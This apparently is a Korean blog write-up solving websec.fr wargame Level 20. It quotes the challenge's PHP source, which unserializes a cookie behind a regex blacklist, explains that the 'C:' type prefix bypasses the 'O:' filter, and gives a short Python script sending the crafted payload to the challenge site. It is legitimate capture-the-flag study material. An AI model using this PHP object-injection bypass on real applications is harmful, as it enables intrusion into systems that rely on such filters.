source.php
<?php
include "flag.php";
class Flag {
public function __destruct() {
global $flag;
echo $flag;
}
}
function sanitize($data) {
/* i0n1c's bypass won't save you this time! (https://www.exploit-db.com/exploits/22547/) */
if ( ! preg_match ('/[A-Z]:/', $data)) {
return unserialize ($data);
}
if ( ! preg_match ('/(^|;|{|})O:[0-9+]+:"/', $data )) {
return unserialize ($data);
}
return false;
}
$data = Array();
if (isset ($_COOKIE['data'])) {
$data = sanitize (base64_decode ($_COOKIE['data']));
}
if (isset ($_POST['value']) and ! empty ($_POST['value'])) {
/* Add a value twice to remove it from the list. */
if (($key = array_search ($_POST['value'], $data)) !== false) {
unset ($data[$key]);
} else { /* Else, simply add it. */
array_push ($data, $_POST['value']);
}
setcookie ('data', base64_encode (serialize ($data)));
}
?>
<!DOCTYPE html>
<html>
<head>
<title>#WebSec Level Twenty</title>
<link rel="stylesheet" href="../static/bootstrap.min.css" />
<!-- Thanks to XeR for helping debugging this level. -->
</head>
<body>
<div id="main">
<div class="container">
<div class="row">
<h1>LevelTwenty <small> - Call me maybe</small></h1>
</div>
<div class="row">
<p class="lead">
Since there is nothing that a good blacklist can't fix,
we're using <a href="https://secure.php.net/manual/en/function.unserialize.php">unserialize</a>
with a <b>bullet-proof</b> one for our amazing todo-list.<br>
You can get the sources <a href="source.php">here</a>.
</p>
</div>
</div>
<br>
<div class="container">
<div class="row">
<form class="form-inline col-md-3" method='post'>
<input name='value' id='value' class='form-control' type='text' placeholder='Item'>
<input class="form-control btn btn-default" name="submit" value='Add' type='submit'>
</form>
</div>
<div class="row col-md-3">
<br>
<ul class="list-group">
<?php
foreach ($data as $value)
print '<li class="list-group-item">' . htmlentities($value) . '</li>';
?>
</ul>
</div>
</div>
</div>
</body>
</html>
Serialize된 Flag 객체 값을 넣어주면 되는데, 필터로직이 두개정도 있다. 소스 내 주석에 박힌 Exploit-db에서 사용한 O:+4 요런식의 +를 사용한 bypass도 막혀있는걸 볼 수 있다.
이것저것 해보다 외국인이 쓴 unserialize관련 문서에서 요런걸 찾았다.
switch (yych) { case 'C': case 'O': goto yy13; case 'N': goto yy5; case 'R': goto yy2; case 'S': goto yy10; case 'a': goto yy11; case 'b': goto yy6; case 'd': goto yy8; case 'i': goto yy7; case 'o': goto yy12; case 'r': goto yy4; case 's': goto yy9; case '}': goto yy14; default: goto yy16;
case구문을 잘 보면 O랑 C가 동일한 분기로 점프하는걸 볼 수 있고 O대신 C로 객체를 표현할 수 있나해서 로컬에서 테스트해보니 잘 되는걸 볼 수 있었다.
exploit.py
import requests
def exploit(payload):
url = "http://websec.fr/level20/index.php"
headers = {"Cookie":"data="+payload}
result = requests.get(url,headers=headers).text
print result
payload = 'C:4:"Flag":0:{}'.encode("base64").replace("\n","")
exploit(payload)
'Wargame > websec.fr' 카테고리의 다른 글
websec.fr easy level 22 (0) | 2019.08.22 |
---|---|
websec.fr easy level 13 (0) | 2019.08.22 |
Websec.fr babysteps Level28 (0) | 2018.12.13 |
Websec.fr babysteps level 25 (0) | 2018.12.12 |
Websec.kr easy level 15 (0) | 2018.03.08 |